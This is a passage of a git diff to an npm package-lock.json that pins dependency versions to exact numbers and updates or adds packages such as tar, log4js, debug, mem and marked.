+9827,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-json-comments": { @@ -9150,18 +9837,18 @@ "optional": true }, "tar": { - "version": "4.4.1", + "version": "4.4.8", "bundled": true, "dev": true, "optional": true, "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.2.4", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.1", - "yallist": "^3.0.2" + "chownr": "1.1.1", + "fs-minipass": "1.2.5", + "minipass": "2.3.5", + "minizlib": "1.2.1", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.2", + "yallist": "3.0.3" } }, "util-deprecate": { @@ -9171,12 +9858,12 @@ "optional": true }, "wide-align": { - "version": "1.1.2", + "version": "1.1.3", "bundled": true, "dev": true, "optional": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" } }, "wrappy": { @@ -9185,7 +9872,7 @@ "dev": true }, "yallist": { - "version": "3.0.2", + "version": "3.0.3", "bundled": true, "dev": true } @@ -9197,8 +9884,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" + "is-glob": "3.1.0", + "path-dirname": "1.0.2" }, "dependencies": { "is-glob": { @@ -9207,7 +9894,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "^2.1.0" + "is-extglob": "2.1.1" } } } @@ -9218,7 +9905,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -9227,7 +9914,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -9236,9 +9923,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -9248,12 +9935,12 @@ "dev": true }, "is-glob": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", - "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -9262,7 +9949,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -9271,11 +9958,17 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, "isobject": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", @@ -9294,33 +9987,80 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, "nan": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz", - "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==", + "version": "2.14.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz", + "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==", "dev": true, "optional": true }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "requires": { + "graceful-fs": "4.1.11", + "micromatch": "3.1.10", + "readable-stream": "2.3.6" + } + }, "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", "dev": true + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } } } }, @@ -9336,11 +10076,11 @@ "integrity": "sha512-eQawj4Cl3z/CjxslYy9ariU4uDh7cCNFZHNWXWRpl0pNeblY/4wHR7M7boTYXWrn9bY0z2pZmr11eKje/S/hIw==", "dev": true, "requires": { - "dateformat": "^1.0.6", - "istanbul": "^0.4.0", - "lodash": "^4.17.0", - "minimatch": "^3.0.0", - "source-map": "^0.5.1" + "dateformat": "1.0.12", + "istanbul": "0.4.5", + "lodash": "4.17.10", + "minimatch": "3.0.4", + "source-map": "0.5.6" } }, "karma-mocha": { @@ -9358,9 +10098,9 @@ "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=", "dev": true, "requires": { - "chalk": "^2.1.0", - "log-symbols": "^2.1.0", - "strip-ansi": "^4.0.0" + "chalk": "2.4.0", + "log-symbols": "2.2.0", + "strip-ansi": "4.0.0" }, "dependencies": { "ansi-regex": { @@ -9375,7 +10115,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -9384,9 +10124,9 @@ "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "has-flag": { @@ -9401,7 +10141,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -9410,7 +10150,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -9421,8 +10161,8 @@ "integrity": "sha1-0jyjSAG9qYY60xjju0vUBisTrNI=", "dev": true, "requires": { - "lodash": "^4.0.1", - "phantomjs-prebuilt": "^2.1.7" + "lodash": "4.17.10", + "phantomjs-prebuilt": "2.1.16" } }, "karma-sourcemap-loader": { @@ -9431,7 +10171,7 @@ "integrity": "sha1-kTIsd/jxPUb+0GKwQuEAnUxFBdg=", "dev": true, "requires": { - "graceful-fs": "^4.1.2" + "graceful-fs": "4.1.11" } }, "karma-webpack": { @@ -9440,12 +10180,12 @@ "integrity": "sha512-nRudGJWstvVuA6Tbju9tyGUfXTtI1UXMXoRHVmM2/78D0q6s/Ye2IC157PKNDC15PWFGR0mVIRtWLAdcfsRJoA==", "dev": true, "requires": { - "async": "^2.0.0", - "babel-runtime": "^6.0.0", - "loader-utils": "^1.0.0", - "lodash": "^4.0.0", - "source-map": "^0.5.6", - "webpack-dev-middleware": "^2.0.6" + "async": "2.6.1", + "babel-runtime": "6.25.0", + "loader-utils": "1.1.0", + "lodash": "4.17.10", + "source-map": "0.5.6", + "webpack-dev-middleware": "2.0.6" }, "dependencies": { "async": { @@ -9454,7 +10194,7 @@ "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", "dev": true, "requires": { - "lodash": "^4.17.10" + "lodash": "4.17.10" } }, "loader-utils": { @@ -9463,9 +10203,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -9498,7 +10238,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } }, "klaw": { @@ -9507,7 +10247,7 @@ "integrity": "sha1-QIhDO0azsbolnXh4XY6W9zugJDk=", "dev": true, "requires": { - "graceful-fs": "^4.1.9" + "graceful-fs": "4.1.11" } }, "lazy-cache": { @@ -9522,7 +10262,7 @@ "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", "requires": { - "invert-kv": "^1.0.0" + "invert-kv": "1.0.0" } }, "levn": { @@ -9531,20 +10271,25 @@ "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", "dev": true, "requires": { - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2" + "prelude-ls": "1.1.2", + "type-check": "0.3.2" } }, + "lines-and-columns": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz", + "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=" + }, "load-json-file": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", "requires": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "strip-bom": "^2.0.0" + "graceful-fs": "4.1.11", + "parse-json": "2.2.0", + "pify": "2.3.0", + "pinkie-promise": "2.0.1", + "strip-bom": "2.0.0" }, "dependencies": { "strip-bom": { @@ -9552,18 +10297,18 @@ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", "requires": { - "is-utf8": "^0.2.0" + "is-utf8": "0.2.1" } } } }, "loader-fs-cache": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.1.tgz", - "integrity": "sha1-VuC/CL2XCLJqdltoUJhAyN7J/bw=", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.2.tgz", + "integrity": "sha512-70IzT/0/L+M20jUlEqZhZyArTU6VKLRTYRDAYN26g4jfzpJqjipLL3/hgYpySqI9PwsVRHHFja0LfEmsx9X2Cw==", "dev": true, "requires": { - "find-cache-dir": "^0.1.1", + "find-cache-dir": "0.1.1", "mkdirp": "0.5.1" }, "dependencies": { @@ -9573,9 +10318,9 @@ "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", "dev": true, "requires": { - "commondir": "^1.0.1", - "mkdirp": "^0.5.1", - "pkg-dir": "^1.0.0" + "commondir": "1.0.1", + "mkdirp": "0.5.1", + "pkg-dir": "1.0.0" } }, "pkg-dir": { @@ -9584,15 +10329,15 @@ "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", "dev": true, "requires": { - "find-up": "^1.0.0" + "find-up": "1.1.2" } } } }, "loader-runner": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.1.tgz", - "integrity": "sha512-By6ZFY7ETWOc9RFaAIb23IjJVcM4dvJC/N57nmdz9RSkMXvAXGI7SyVlAw3v8vjtDRlqThgVDVmTnr9fqMlxkw==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz", + "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==", "dev": true }, "loader-utils": { @@ -9601,10 +10346,10 @@ "integrity": "sha1-+G5jdNQyBabmxg6RlvF8Apm/s0g=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0", - "object-assign": "^4.0.1" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1", + "object-assign": "4.1.1" } }, "locate-path": { @@ -9613,8 +10358,8 @@ "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", "dev": true, "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" + "p-locate": "2.0.0", + "path-exists": "3.0.0" }, "dependencies": { "path-exists": { @@ -9630,45 +10375,23 @@ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" }, - "lodash.camelcase": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", - "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", - "dev": true - }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", "integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA=" }, - "lodash.debounce": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", - "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", - "dev": true - }, "lodash.flow": { "version": "3.5.0", "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, - "lodash.tail": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz", - "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ=" - }, - "lodash.topath": { - "version": "4.5.2", - "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", - "integrity": "sha1-NhY1Hzu6YZlKCTGYlmC9AyVP0Ak=" - }, "log-symbols": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", "dev": true, "requires": { - "chalk": "^2.0.1" + "chalk": "2.4.0" }, "dependencies": { "ansi-styles": { @@ -9677,7 +10400,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -9686,9 +10409,9 @@ "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "has-flag": { @@ -9703,45 +10426,45 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } }, "log4js": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/log4js/-/log4js-3.0.5.tgz", - "integrity": "sha512-IX5c3G/7fuTtdr0JjOT2OIR12aTESVhsH6cEsijloYwKgcPRlO6DgOU72v0UFhWcoV1HN6+M3dwT89qVPLXm0w==", + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/log4js/-/log4js-3.0.6.tgz", + "integrity": "sha512-ezXZk6oPJCWL483zj64pNkMuY/NcRX5MPiB0zE6tjZM137aeusrOnW1ecxgF9cmwMWkBMhjteQxBPoZBh9FDxQ==", "dev": true, "requires": { - "circular-json": "^0.5.5", - "date-format": "^1.2.0", - "debug": "^3.1.0", - "rfdc": "^1.1.2", + "circular-json": "0.5.9", + "date-format": "1.2.0", + "debug": "3.2.6", + "rfdc": "1.1.4", "streamroller": "0.7.0" }, "dependencies": { - "circular-json": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.5.5.tgz", - "integrity": "sha512-13YaR6kiz0kBNmIVM87Io8Hp7bWOo4r61vkEANy8iH9R9bc6avud/1FT0SBpqR1RpIQADOh/Q+yHZDA1iL6ysA==", - "dev": true - }, "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", "dev": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.2" } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, "loglevel": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.6.1.tgz", - "integrity": "sha1-4PyVEztu8nbNyIh82vJKpvFW+Po=", + "version": "1.6.6", + "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.6.6.tgz", + "integrity": "sha512-Sgr5lbboAUBo3eXCSPL4/KoVz3ROKquOjcctxmHIt+vol2DrqTQe3SwkKKuYhEiWB5kYa13YyopJ69deJ1irzQ==", "dev": true }, "loglevelnext": { @@ -9750,8 +10473,8 @@ "integrity": "sha512-V/73qkPuJmx4BcBF19xPBr+0ZRVBhc4POxvZTZdMeXpJ4NItXSJ/MSwuFT0kQJlCbXvdlZoQQ/418bS1y9Jh6A==", "dev": true, "requires": { - "es6-symbol": "^3.1.1", - "object.assign": "^4.1.0" + "es6-symbol": "3.1.1", + "object.assign": "4.1.0" } }, "longest": { @@ -9765,7 +10488,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz", "integrity": "sha1-0aitM/qc4OcT1l/dCsi3SNR4yEg=", "requires": { - "js-tokens": "^3.0.0" + "js-tokens": "3.0.2" } }, "loud-rejection": { @@ -9773,8 +10496,8 @@ "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz", "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", "requires": { - "currently-unhandled": "^0.4.1", - "signal-exit": "^3.0.0" + "currently-unhandled": "0.4.1", + "signal-exit": "3.0.2" } }, "lower-case": { @@ -9788,8 +10511,8 @@ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" + "pseudomap": "1.0.2", + "yallist": "2.1.2" } }, "make-dir": { @@ -9798,7 +10521,7 @@ "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", "dev": true, "requires": { - "pify": "^3.0.0" + "pify": "3.0.0" }, "dependencies": { "pify": { @@ -9809,13 +10532,19 @@ } } }, + "mamacro": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/mamacro/-/mamacro-0.0.3.tgz", + "integrity": "sha512-qMEwh+UujcQ+kbz3T6V+wAmO2U8veoq2w+3wY8MquqwVA3jChfwY+Tk52GZKDfACEPjuZ7r2oJLejwpt8jtwTA==", + "dev": true + }, "map-age-cleaner": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.2.tgz", - "integrity": "sha512-UN1dNocxQq44IhJyMI4TU8phc2m9BddacHRPRjKGLYaF0jqd3xLz0jS0skpAU9WgYyoR4gHtUpzytNBS385FWQ==", + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz", + "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==", "dev": true, "requires": { - "p-defer": "^1.0.0" + "p-defer": "1.0.0" } }, "map-cache": { @@ -9835,24 +10564,29 @@ "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", "dev": true, "requires": { - "object-visit": "^1.0.0" + "object-visit": "1.0.1" } }, + "marked": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/marked/-/marked-0.8.2.tgz", + "integrity": "sha512-EGwzEeCcLniFX51DhTpmTom+dSA/MG/OBUDjnWtHbEnjAH180VzUeAw+oE4+Zv+CoYBWyRlYOTR0N8SO9R1PVw==" + }, "md5.js": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz", "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==", "dev": true, "requires": { - "hash-base": "^3.0.0", - "inherits": "^2.0.1", - "safe-buffer": "^5.1.2" + "hash-base": "3.0.4", + "inherits": "2.0.3", + "safe-buffer": "5.2.0" }, "dependencies": { "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", "dev": true } } @@ -9864,12 +10598,22 @@ "dev": true }, "mem": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", - "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/mem/-/mem-4.3.0.tgz", + "integrity": "sha512-qX2bG48pTqYRVmDB37rn/6PT7LcR8T7oAX3bf99u1Tt1nzxYfxkgqDwUwolPlXweM0XzBOBFzSx4kfp7KP1s/w==", "dev": true, "requires": { - "mimic-fn": "^1.0.0" + "map-age-cleaner": "0.1.3", + "mimic-fn": "2.1.0", + "p-is-promise": "2.1.0" + }, + "dependencies": { + "mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true + } } }, "memory-fs": { @@ -9878,8 +10622,8 @@ "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", "dev": true, "requires": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" + "errno": "0.1.7", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -9900,13 +10644,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -9915,7 +10659,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -9925,16 +10669,16 @@ "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz", "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", "requires": { - "camelcase-keys": "^2.0.0", - "decamelize": "^1.1.2", - "loud-rejection": "^1.0.0", - "map-obj": "^1.0.1", - "minimist": "^1.1.3", - "normalize-package-data": "^2.3.4", - "object-assign": "^4.0.1", - "read-pkg-up": "^1.0.1", - "redent": "^1.0.0", - "trim-newlines": "^1.0.0" + "camelcase-keys": "2.1.0", + "decamelize": "1.2.0", + "loud-rejection": 